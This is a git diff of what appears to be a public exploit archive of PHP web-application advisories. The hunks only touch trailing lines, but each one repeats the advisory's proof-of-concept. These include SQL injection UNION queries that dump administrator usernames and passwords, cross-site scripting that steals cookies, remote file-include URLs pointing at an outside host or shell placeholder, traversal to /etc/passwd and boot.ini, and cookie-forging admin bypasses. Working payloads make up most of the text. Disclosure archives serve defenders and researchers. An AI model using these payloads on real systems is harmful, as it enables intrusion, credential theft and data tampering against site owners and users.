-http://www.example.com/components/com_utchat/pfc/lib/pear/PHPUnit/GUI/SetupDecorator.php?aFile=[Sh3LL] \ No newline at end of file +http://www.example.com/components/com_utchat/pfc/lib/pear/PHPUnit/GUI/SetupDecorator.php?aFile=[Sh3LL] \ No newline at end of file diff --git a/platforms/php/webapps/32191.txt b/platforms/php/webapps/32191.txt index e6ed39de4..99854ba06 100755 --- a/platforms/php/webapps/32191.txt +++ b/platforms/php/webapps/32191.txt @@ -5,4 +5,4 @@ The Kleinanzeigen module for PHP-Nuke is prone to an SQL-injection vulnerability Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/modules.php?name=Kleinanzeigen&a_op=visit&lid=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Caid%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A -http://www.example.com/modules.php?name=Kleinanzeigen&a_op=visit&lid=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Cpwd%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A \ No newline at end of file +http://www.example.com/modules.php?name=Kleinanzeigen&a_op=visit&lid=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Cpwd%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A \ No newline at end of file diff --git a/platforms/php/webapps/32196.txt b/platforms/php/webapps/32196.txt index 98b7fcf73..c2fd95eae 100755 --- a/platforms/php/webapps/32196.txt +++ b/platforms/php/webapps/32196.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br MiniShop 1.0 is affected; other versions may also be vulnerable. -http://www.example.com/[cms]/modules/rmms/search.php?itemsxpag=4"><script>alert(1)</script>&Submit=Go%21&idc=0"><script>alert(2)</script>&key="><script>alert(3)</script> \ No newline at end of file +http://www.example.com/[cms]/modules/rmms/search.php?itemsxpag=4"><script>alert(1)</script>&Submit=Go%21&idc=0"><script>alert(2)</script>&key="><script>alert(3)</script> \ No newline at end of file diff --git a/platforms/php/webapps/32216.txt b/platforms/php/webapps/32216.txt index e47c8994a..cf1abde29 100755 --- a/platforms/php/webapps/32216.txt +++ b/platforms/php/webapps/32216.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Downloads Plus 1.5 and 1.7 are affected; other versions may also be vulnerable. http://www.example.com/modules/rmdp/down.php?id=1">[XSS-code] -http://www.example.com/modules/rmdp/down.php?com_mode=nest&com_order=1&id=1">[XSS-code]&cid=3#users \ No newline at end of file +http://www.example.com/modules/rmdp/down.php?com_mode=nest&com_order=1&id=1">[XSS-code]&cid=3#users \ No newline at end of file diff --git a/platforms/php/webapps/32217.txt b/platforms/php/webapps/32217.txt index b3b48af67..cddddb68d 100755 --- a/platforms/php/webapps/32217.txt +++ b/platforms/php/webapps/32217.txt @@ -7,4 +7,4 @@ Exploiting these issues can allow an attacker to compromise the application and Linkspider 1.08 is vulnerable; other versions may be affected as well. http://www.example.com/links.php?_SERVER[DOCUMENT_ROOT]=http://www.example2.com -http://www.example.com/links.inc.php?_SERVER[DOCUMENT_ROOT]=http://www.example2.com \ No newline at end of file +http://www.example.com/links.inc.php?_SERVER[DOCUMENT_ROOT]=http://www.example2.com \ No newline at end of file diff --git a/platforms/php/webapps/32218.txt b/platforms/php/webapps/32218.txt index fd101f46e..a78483c25 100755 --- a/platforms/php/webapps/32218.txt +++ b/platforms/php/webapps/32218.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow GooCMS 1.02 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?task=comments&s=>?><ScRiPt%20%0a%0d>alert(123)%3B</ScRiPt> \ No newline at end of file +http://www.example.com/index.php?task=comments&s=>?><ScRiPt%20%0a%0d>alert(123)%3B</ScRiPt> \ No newline at end of file diff --git a/platforms/php/webapps/32226.txt b/platforms/php/webapps/32226.txt index 5fd49bd2b..f295d21b2 100755 --- a/platforms/php/webapps/32226.txt +++ b/platforms/php/webapps/32226.txt @@ -4,4 +4,4 @@ Datafeed Studio is prone to a remote file-include vulnerability because it fails An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/admin/bin/patch.php?INSTALL_FOLDER=[Evilc0dE] \ No newline at end of file +http://www.example.com/admin/bin/patch.php?INSTALL_FOLDER=[Evilc0dE] \ No newline at end of file diff --git a/platforms/php/webapps/32227.txt b/platforms/php/webapps/32227.txt index 74159e78a..90044fc3c 100755 --- a/platforms/php/webapps/32227.txt +++ b/platforms/php/webapps/32227.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Datafeed Studio 1.6.2 is vulnerable; other versions may also be affected. -http://www.example.com/search.php?q="><script>alert("XSS")</script> \ No newline at end of file +http://www.example.com/search.php?q="><script>alert("XSS")</script> \ No newline at end of file diff --git a/platforms/php/webapps/32230.txt b/platforms/php/webapps/32230.txt index 29efd6ca3..8d746fefe 100755 --- a/platforms/php/webapps/32230.txt +++ b/platforms/php/webapps/32230.txt @@ -11,4 +11,4 @@ http://www.example.com/index.php?page=user_add&catid=[XSS] http://www.example.com/index.php?page=recip&catid=[XSS] http://www.example.com/index.php?page=tellafriend&catid=[XSS] http://www.example.com/index.php?page=contact&catid=[XSS] -http://www.example.com/index.php?page=tellafriend&id=[XSS] \ No newline at end of file +http://www.example.com/index.php?page=tellafriend&id=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/32236.txt b/platforms/php/webapps/32236.txt index a5a0355bc..800cfd98f 100755 --- a/platforms/php/webapps/32236.txt +++ b/platforms/php/webapps/32236.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow an attacker to compromise the application and Meet#Web 0.8 is vulnerable; other versions may also be affected. -http://www.example.com/cms/meetweb/classes/RegRightsResource.class.php?root_path=[SHell] \ No newline at end of file +http://www.example.com/cms/meetweb/classes/RegRightsResource.class.php?root_path=[SHell] \ No newline at end of file diff --git a/platforms/php/webapps/32241.txt b/platforms/php/webapps/32241.txt index fa7b733d0..673d5d346 100755 --- a/platforms/php/webapps/32241.txt +++ b/platforms/php/webapps/32241.txt @@ -5,4 +5,4 @@ PHP Realty is prone to an SQL-injection vulnerability because it fails to suffic Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/path/dpage.php?docID=-1 UNION SELECT 1,2,concat(Username,0x3a,Password) FROM admin-- -http://www.example.com/path/dpage.php?docID=-9999+union+all+select+1,2,group_concat(Username,char(58),Password)v3n0m+from+admin-- \ No newline at end of file +http://www.example.com/path/dpage.php?docID=-9999+union+all+select+1,2,group_concat(Username,char(58),Password)v3n0m+from+admin-- \ No newline at end of file diff --git a/platforms/php/webapps/32242.txt b/platforms/php/webapps/32242.txt index d3296a305..354899975 100755 --- a/platforms/php/webapps/32242.txt +++ b/platforms/php/webapps/32242.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc PHP-Fusion 4.01 is vulnerable; other versions may also be affected. -http://www.example.com/readmore.php?news_id=readmore.php?news_id=-1%20'UNION%20SELECT%201,user_name,3,user_password,5,6,7,8,9,10,11%20from%20fusion_users/* \ No newline at end of file +http://www.example.com/readmore.php?news_id=readmore.php?news_id=-1%20'UNION%20SELECT%201,user_name,3,user_password,5,6,7,8,9,10,11%20from%20fusion_users/* \ No newline at end of file diff --git a/platforms/php/webapps/32243.txt b/platforms/php/webapps/32243.txt index 2b86f5a54..d55293416 100755 --- a/platforms/php/webapps/32243.txt +++ b/platforms/php/webapps/32243.txt @@ -6,4 +6,4 @@ Attackers can exploit this vulnerability to gain administrative access to the af Nukeviet 2.0 Beta is vulnerable; other versions may also be affected. -javascript:document.cookie = "admf=1; path=/"; \ No newline at end of file +javascript:document.cookie = "admf=1; path=/"; \ No newline at end of file diff --git a/platforms/php/webapps/32244.txt b/platforms/php/webapps/32244.txt index 89f9abd8e..ddf44feb5 100755 --- a/platforms/php/webapps/32244.txt +++ b/platforms/php/webapps/32244.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to include an arbitrary remote file containin YapBB 1.2 Beta2 is vulnerable; other versions may also be affected. -http://www.example.com/include/class_yapbbcooker.php?cfgIncludeDirectory=http://www.example2.com \ No newline at end of file +http://www.example.com/include/class_yapbbcooker.php?cfgIncludeDirectory=http://www.example2.com \ No newline at end of file diff --git a/platforms/php/webapps/32245.txt b/platforms/php/webapps/32245.txt index 3a43d68e4..6a242cb92 100755 --- a/platforms/php/webapps/32245.txt +++ b/platforms/php/webapps/32245.txt @@ -6,4 +6,4 @@ An attacker can exploit the local file-include vulnerability using directory-tra Navboard 16 is vulnerable; other versions may also be affected. -http://www.example.com/path/modules.php?module=[XSS] \ No newline at end of file +http://www.example.com/path/modules.php?module=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/32251.txt b/platforms/php/webapps/32251.txt index cf18d7d68..9cfe2a65f 100755 --- a/platforms/php/webapps/32251.txt +++ b/platforms/php/webapps/32251.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability using directory-traversal strings to PHPizabi 0.848b C1 HFP3 is vulnerable; other versions may also be affected. -http://www.example.com/phpizabi/index.php?L=admin.templates.edittemplate&id=../../../boot.ini \ No newline at end of file +http://www.example.com/phpizabi/index.php?L=admin.templates.edittemplate&id=../../../boot.ini \ No newline at end of file diff --git a/platforms/php/webapps/32254.txt b/platforms/php/webapps/32254.txt index 2d93c6588..973da89c1 100755 --- a/platforms/php/webapps/32254.txt +++ b/platforms/php/webapps/32254.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow FlexCMS 2.5 is vulnerable; other versions may also be affected. -http://www.example.com/inc-core-admin-editor-previouscolorsjs.php?PreviousColorsString=<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/inc-core-admin-editor-previouscolorsjs.php?PreviousColorsString=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/32257.txt b/platforms/php/webapps/32257.txt index 8733f5644..2f8ec261c 100755 --- a/platforms/php/webapps/32257.txt +++ b/platforms/php/webapps/32257.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a http://www.example.com/view_product.php?cat_id=6500&sub_cat=6508&product_id=-9999+union+all+select+1,concat(user_name,char(58),password),null,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44+from+user-- -http://www.example.com/view_product.php?cat_id=155&sub_cat=-9999+union+all+select+1,2,3,4,5,6,7,concat(user_name,char(58),password),9,10,11,12,13,14,115,16,17,18,19,20,21,22,23,24,25,26+from+user-- \ No newline at end of file +http://www.example.com/view_product.php?cat_id=155&sub_cat=-9999+union+all+select+1,2,3,4,5,6,7,concat(user_name,char(58),password),9,10,11,12,13,14,115,16,17,18,19,20,21,22,23,24,25,26+from+user-- \ No newline at end of file diff --git a/platforms/php/webapps/32270.txt b/platforms/php/webapps/32270.txt index 6dcae77b2..3b14e1c29 100755 --- a/platforms/php/webapps/32270.txt +++ b/platforms/php/webapps/32270.txt @@ -6,4 +6,4 @@ An attacker can exploit these vulnerabilities using directory-traversal strings Freeway 1.4.1.171 is vulnerable; other versions may also be affected. -http://www.example.com/[installdir]/templates/Freeway/mainpage_modules/mainpage.php?language=../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/[installdir]/templates/Freeway/mainpage_modules/mainpage.php?language=../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/32271.txt b/platforms/php/webapps/32271.txt index 1ff8ed0ba..3e9d39d5b 100755 --- a/platforms/php/webapps/32271.txt +++ b/platforms/php/webapps/32271.txt @@ -5,4 +5,4 @@ NewsHOWLER is prone to an SQL-injection vulnerability because it fails to suffic Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. javascript:document.cookie = "news_user=zz'+union+select+3,3,3,3+from+news_users/*; path=/"; -javascript:document.cookie = "news_password=3; path=/"; \ No newline at end of file +javascript:document.cookie = "news_password=3; path=/"; \ No newline at end of file diff --git a/platforms/php/webapps/32272.txt b/platforms/php/webapps/32272.txt index 5d77dc9ad..810781f38 100755 --- a/platforms/php/webapps/32272.txt +++ b/platforms/php/webapps/32272.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Ovidentia 6.6.5 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/index.php?tg=search&pat=abcdefgh&idx=find&navpos=0&navitem=&field=<script>alert(333.45)</script> \ No newline at end of file +http://www.example.com/[path]/index.php?tg=search&pat=abcdefgh&idx=find&navpos=0&navitem=&field=<script>alert(333.45)</script> \ No newline at end of file diff --git a/platforms/php/webapps/32275.txt b/platforms/php/webapps/32275.txt index 4bd7924c5..2b44d71d3 100755 --- a/platforms/php/webapps/32275.txt +++ b/platforms/php/webapps/32275.txt @@ -18,4 +18,4 @@ http://www.example.com/ponuda.php?op=slika&ids=-1+union+all+select+1,concat_ws(c http://www.example.com/ponuda.php?op=kategorija&id=-1+union+all+select+1,2,concat_ws(char(58),user,pass),4+from+admin-- -http://www.example.com/slike.php?op=slika&ids=-1+union+all+select+1,2,concat_ws(char(58),user,pass),4,5+from+admin-- \ No newline at end of file +http://www.example.com/slike.php?op=slika&ids=-1+union+all+select+1,2,concat_ws(char(58),user,pass),4,5+from+admin-- \ No newline at end of file diff --git a/platforms/php/webapps/32283.txt b/platforms/php/webapps/32283.txt index 03c3895d9..241be5805 100755 --- a/platforms/php/webapps/32283.txt +++ b/platforms/php/webapps/32283.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc DXShopCart 4.30mc is vulnerable; other versions may also be affected. -http://www.example.com.com/product_detail.php?cid=12&pid=-1+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16-- \ No newline at end of file +http://www.example.com.com/product_detail.php?cid=12&pid=-1+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16-- \ No newline at end of file diff --git a/platforms/php/webapps/32284.txt b/platforms/php/webapps/32284.txt index 5d32ecde2..62c43ac73 100755 --- a/platforms/php/webapps/32284.txt +++ b/platforms/php/webapps/32284.txt @@ -4,4 +4,4 @@ Simasy CMS is prone to an SQL-injection vulnerability because it fails to suffic Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com.com/index.php?page=8&id=95+AND+1=0+UNION+SELECT+ALL+1,group_concat(username,0x3a,email,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,2 3+from+users/* \ No newline at end of file +http://www.example.com.com/index.php?page=8&id=95+AND+1=0+UNION+SELECT+ALL+1,group_concat(username,0x3a,email,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,2 3+from+users/* \ No newline at end of file diff --git a/platforms/php/webapps/32285.txt b/platforms/php/webapps/32285.txt index 12ad27bb9..f5b1f9598 100755 --- a/platforms/php/webapps/32285.txt +++ b/platforms/php/webapps/32285.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow vBulletin 3.7.2 Patch Level 1 and vBulletin 3.6.10 Patch Level 3 are vulnerable; other versions may also be affected. ---></script><script>alert(/xss/.source)</script><!-- \ No newline at end of file +--></script><script>alert(/xss/.source)</script><!-- \ No newline at end of file diff --git a/platforms/php/webapps/32287.txt b/platforms/php/webapps/32287.txt index d45bd2311..52c5e33f5 100755 --- a/platforms/php/webapps/32287.txt +++ b/platforms/php/webapps/32287.txt @@ -4,4 +4,4 @@ FAR-PHP is prone to a local file-include vulnerability because it fails to prope An attacker can exploit this vulnerability using directory-traversal strings to view local files within the context of the webserver process. Information harvested may aid in further attacks. -http://www.example.com/farver/index.php?c=/../../../../../../../../boot.ini%00 \ No newline at end of file +http://www.example.com/farver/index.php?c=/../../../../../../../../boot.ini%00 \ No newline at end of file diff --git a/platforms/php/webapps/32288.txt b/platforms/php/webapps/32288.txt index 4834fbf45..2cdcb3b61 100755 --- a/platforms/php/webapps/32288.txt +++ b/platforms/php/webapps/32288.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br TimeTrex versions 2.2.12 and previous are vulnerable. http://www.example.com/interface/Login.php?user_name=admin&password=XSS -http://www.example.com/interface/Login.php?user_name=XSS \ No newline at end of file +http://www.example.com/interface/Login.php?user_name=XSS \ No newline at end of file diff --git a/platforms/php/webapps/32290.txt b/platforms/php/webapps/32290.txt index bb57de8a4..2c115c1c4 100755 --- a/platforms/php/webapps/32290.txt +++ b/platforms/php/webapps/32290.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Accellion File Transfer FTA_7_0_135 is vulnerable; prior versions may also be affected. -https://www.example.com/courier/forgot_password.html/>"><script>alert(document.cookie)</script> \ No newline at end of file +https://www.example.com/courier/forgot_password.html/>"><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/32291.txt b/platforms/php/webapps/32291.txt index 9596eb8f8..8b0780796 100755 --- a/platforms/php/webapps/32291.txt +++ b/platforms/php/webapps/32291.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Photo Cart 3.9 is vulnerable; other versions may also be affected. -POST <script>alert(document.cookie)</script> to "Gallery or event name" field \ No newline at end of file +POST <script>alert(document.cookie)</script> to "Gallery or event name" field \ No newline at end of file diff --git a/platforms/php/webapps/32293.txt b/platforms/php/webapps/32293.txt index 79957fc55..533f6442a 100755 --- a/platforms/php/webapps/32293.txt +++ b/platforms/php/webapps/32293.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica Beta 2 of One-News is prone to these issues. -http://www.example.com/onenews_beta2/index.php?q=3' and 1=2 union select 1,2,3/* \ No newline at end of file +http://www.example.com/onenews_beta2/index.php?q=3' and 1=2 union select 1,2,3/* \ No newline at end of file diff --git a/platforms/php/webapps/32295.txt b/platforms/php/webapps/32295.txt index b1f96a776..3f2d40f40 100755 --- a/platforms/php/webapps/32295.txt +++ b/platforms/php/webapps/32295.txt @@ -6,4 +6,4 @@ Successful exploits will allow unauthorized attackers to delete arbitrary questi PHP-Ultimate Webboard 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/webboard/admindel.php?action=delete&mode=question&qno=[NUM]&ano=[NUM] \ No newline at end of file +http://www.example.com/webboard/admindel.php?action=delete&mode=question&qno=[NUM]&ano=[NUM] \ No newline at end of file diff --git a/platforms/php/webapps/32296.txt b/platforms/php/webapps/32296.txt index f464e5d1f..c32a27708 100755 --- a/platforms/php/webapps/32296.txt +++ b/platforms/php/webapps/32296.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br PopnupBlog 3.30 is affected; other versions may also be vulnerable. -http://www.example.com/modules/popnupblog/index.php?param=1">[XSS-CODE]&start=0,10&cat_id=&view=1 http://www.example.com/modules/popnupblog/index.php?param=&start=0,10&cat_id=">[XSS-CODE]&view=1 http://www.example.com/modules/popnupblog/index.php?param=&start=0,10&cat_id=&view=1">[XSS-CODE] \ No newline at end of file +http://www.example.com/modules/popnupblog/index.php?param=1">[XSS-CODE]&start=0,10&cat_id=&view=1 http://www.example.com/modules/popnupblog/index.php?param=&start=0,10&cat_id=">[XSS-CODE]&view=1 http://www.example.com/modules/popnupblog/index.php?param=&start=0,10&cat_id=&view=1">[XSS-CODE] \ No newline at end of file diff --git a/platforms/php/webapps/32298.txt b/platforms/php/webapps/32298.txt index 322d55570..41d6a577e 100755 --- a/platforms/php/webapps/32298.txt +++ b/platforms/php/webapps/32298.txt @@ -6,4 +6,4 @@ Exploiting this vulnerability may allow an attacker to perform cross-site script NOTE: This issue may stem from an incomplete fix for the issues discussed in BIDs 24256 (HP System Management Homepage (SMH) Unspecified Cross Site Scripting Vulnerability) and 25953 (HP System Management Homepage (SMH) for Linux, Windows, and HP-UX Cross Site Scripting Vulnerability), but Symantec has not confirmed this. -1st vector) https://www.example.com/message.php?<script><script>alert('xss')</script></script> 2nd vector) https://www.example.com/message.php?aa%00<script><script>alert('xss')</script></script> 3rd vector) https://www.example.com/message.php?aa<BGSOUND SRC="javascript:alert('XSS');"> \ No newline at end of file +1st vector) https://www.example.com/message.php?<script><script>alert('xss')</script></script> 2nd vector) https://www.example.com/message.php?aa%00<script><script>alert('xss')</script></script> 3rd vector) https://www.example.com/message.php?aa<BGSOUND SRC="javascript:alert('XSS');"> \ No newline at end of file diff --git a/platforms/php/webapps/32299.txt b/platforms/php/webapps/32299.txt index 555b7c97c..0dc20b469 100755 --- a/platforms/php/webapps/32299.txt +++ b/platforms/php/webapps/32299.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow MatterDaddy Market 1.1 is vulnerable; other versions may also be affected. -http://www.example.com/dir(s)/admin/login.php?msg=[XSS] \ No newline at end of file +http://www.example.com/dir(s)/admin/login.php?msg=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/32302.txt b/platforms/php/webapps/32302.txt index 4bda15b39..f3968e4be 100755 --- a/platforms/php/webapps/32302.txt +++ b/platforms/php/webapps/32302.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects AbleSpace 1.0 and earlier. -http://www.example.com/adv_cat.php?find_str="><script>alert('1')</script>&cat_id=1&razd_id=&x=0&y=0 \ No newline at end of file +http://www.example.com/adv_cat.php?find_str="><script>alert('1')</script>&cat_id=1&razd_id=&x=0&y=0 \ No newline at end of file diff --git a/platforms/php/webapps/32306.txt b/platforms/php/webapps/32306.txt index 47519c825..4406cf688 100755 --- a/platforms/php/webapps/32306.txt +++ b/platforms/php/webapps/32306.txt @@ -8,4 +8,4 @@ Attackers may exploit the SQL-injection issue to compromise the application, acc dotProject 2.1.2 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?m=tasks&inactive=toggle"> http://www.example.com/index.php?m=calendar&a=day_view&date=20080828"> http://www.example.com/index.php?m=public&a=calendar&dialog=1&callback=setCalendar"> http://www.example.com/index.php?m=ticketsmith&type=My'> http://www.example.com/index.php?m=projects&tab=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x3a,user_id,user_username,user_password),14,15,16,17,18,19,20,21,22 FROM users-- \ No newline at end of file +http://www.example.com/index.php?m=tasks&inactive=toggle"> http://www.example.com/index.php?m=calendar&a=day_view&date=20080828"> http://www.example.com/index.php?m=public&a=calendar&dialog=1&callback=setCalendar"> http://www.example.com/index.php?m=ticketsmith&type=My'> http://www.example.com/index.php?m=projects&tab=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x3a,user_id,user_username,user_password),14,15,16,17,18,19,20,21,22 FROM users-- \ No newline at end of file diff --git a/platforms/php/webapps/32307.txt b/platforms/php/webapps/32307.txt index 01a90188e..fa27373bb 100755 --- a/platforms/php/webapps/32307.txt +++ b/platforms/php/webapps/32307.txt @@ -8,4 +8,4 @@ vtiger CRM 5.0.4 is vulnerable; other versions may also be affected. http://www.example.com/vtigercrm/index.php?module=Products&action=index&parenttab="><script>alert(1);</script> http://www.example.com/vtigercrm/index.php?module=Users&action=Authenticate&user_password="><script>alert(1);</script> -http://www.example.com/vtigercrm/index.php?module=Home&action=UnifiedSearch&query_string="><script>alert(1);</script> \ No newline at end of file +http://www.example.com/vtigercrm/index.php?module=Home&action=UnifiedSearch&query_string="><script>alert(1);</script> \ No newline at end of file diff --git a/platforms/php/webapps/32308.txt b/platforms/php/webapps/32308.txt index d0a17e771..54a9d1785 100755 --- a/platforms/php/webapps/32308.txt +++ b/platforms/php/webapps/32308.txt @@ -4,4 +4,4 @@ GenPortal is prone to a cross-site scripting vulnerability because it fails to s An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/path/buscarCat.php?palBuscar=[XSS] \ No newline at end of file +http://www.example.com/path/buscarCat.php?palBuscar=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/32312.txt b/platforms/php/webapps/32312.txt index f42810793..439caafa7 100755 --- a/platforms/php/webapps/32312.txt +++ b/platforms/php/webapps/32312.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow BizDirectory 2.04 is vulnerable; other verisons may also be affected. -http://www.example.com/?page=[XsS]&mode=search \ No newline at end of file +http://www.example.com/?page=[XsS]&mode=search \ No newline at end of file diff --git a/platforms/php/webapps/32315.txt b/platforms/php/webapps/32315.txt index 03c5edfea..80eff373e 100755 --- a/platforms/php/webapps/32315.txt +++ b/platforms/php/webapps/32315.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br OpenDb 1.0.6 is vulnerable; other versions may also be affected. -http://www.example.com/user_profile.php?uid=[USERNAME]&subject=No+Subject&redirect_link=Back+to+Statistics&redirect_url=javascript:alert(document.cookie) \ No newline at end of file +http://www.example.com/user_profile.php?uid=[USERNAME]&subject=No+Subject&redirect_link=Back+to+Statistics&redirect_url=javascript:alert(document.cookie) \ No newline at end of file diff --git a/platforms/php/webapps/32316.txt b/platforms/php/webapps/32316.txt index aaec52eca..4aa39e70b 100755 --- a/platforms/php/webapps/32316.txt +++ b/platforms/php/webapps/32316.txt @@ -8,4 +8,4 @@ eliteCMS 1.0 and 1.01 are vulnerable; other versions may also be affected. http://www.example.com/index.php?page=-1%20union%20all%20select%201,2,3,4,user_name,h_password%20from%20users/* -http://www.example.com/index.php?page=-1'+union+select+1,concat(user_name,0x3a,h_password),3,4,5,6,7,8,9,10,11+from+users+limit+0,1/* \ No newline at end of file +http://www.example.com/index.php?page=-1'+union+select+1,concat(user_name,0x3a,h_password),3,4,5,6,7,8,9,10,11+from+users+limit+0,1/* \ No newline at end of file diff --git a/platforms/php/webapps/32317.txt b/platforms/php/webapps/32317.txt index 52f5af449..4b08abed0 100755 --- a/platforms/php/webapps/32317.txt +++ b/platforms/php/webapps/32317.txt @@ -11,4 +11,4 @@ These issues affect the following versions: Other versions running on different platforms may also be affected. -http://www.example.com/parse.php?file="><img/src/onerror=alert(document.cookie)> http://www.example.com/parse.php?file=html/english/help/filexp.html&FirstLoad=1&HelpFile=';}onload=function(){alert(0);foo=' http://www.example.com/showmail.php?Folder=Spam';document.location='\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003A\u0077\u0069\u0074\u0068\u0028\u0064\u006F\u0063\u0075\u006D\u0065\u006E\u0074\u0029\u0061\u006C\u0065\u0072\u0074\u0028\u0063\u006F\u006F\u006B\u0069\u0065\u0029';foo=' http://www.example.com/abook.php?func=view&abookview=global"><img/src/onerror="alert(document.cookie)&email=138195 http://www.example.com/showmail.php?Folder=Inbox&sort=EmailSubject&order=desc&start="><iframe/src="javascript:alert(document.cookie) \ No newline at end of file +http://www.example.com/parse.php?file="><img/src/onerror=alert(document.cookie)> http://www.example.com/parse.php?file=html/english/help/filexp.html&FirstLoad=1&HelpFile=';}onload=function(){alert(0);foo=' http://www.example.com/showmail.php?Folder=Spam';document.location='\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003A\u0077\u0069\u0074\u0068\u0028\u0064\u006F\u0063\u0075\u006D\u0065\u006E\u0074\u0029\u0061\u006C\u0065\u0072\u0074\u0028\u0063\u006F\u006F\u006B\u0069\u0065\u0029';foo=' http://www.example.com/abook.php?func=view&abookview=global"><img/src/onerror="alert(document.cookie)&email=138195 http://www.example.com/showmail.php?Folder=Inbox&sort=EmailSubject&order=desc&start="><iframe/src="javascript:alert(document.cookie) \ No newline at end of file diff --git a/platforms/php/webapps/32327.txt b/platforms/php/webapps/32327.txt index f990ccc9f..225afc86e 100755 --- a/platforms/php/webapps/32327.txt +++ b/platforms/php/webapps/32327.txt @@ -4,4 +4,4 @@ XRMS CRM is prone to multiple input-validation vulnerabilities, including an uns Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/xrms/reports/custom/mileage.php?starting="><script>alert(1);</script> \ No newline at end of file +http://www.example.com/xrms/reports/custom/mileage.php?starting="><script>alert(1);</script> \ No newline at end of file diff --git a/platforms/php/webapps/32334.txt b/platforms/php/webapps/32334.txt index d3cbfd73e..016302bfd 100755 --- a/platforms/php/webapps/32334.txt +++ b/platforms/php/webapps/32334.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Celerondude Uploader 6.1 is vulnerable; other versions may also be affected. -In the login page , username field enter : "><script>alert(1);</script>" \ No newline at end of file +In the login page , username field enter : "><script>alert(1);</script>" \ No newline at end of file diff --git a/platforms/php/webapps/32337.txt b/platforms/php/webapps/32337.txt index db7c641f1..0a6fca79b 100755 --- a/platforms/php/webapps/32337.txt +++ b/platforms/php/webapps/32337.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Silentum LoginSys 1.0.0 is vulnerable; other versions may also be affected. 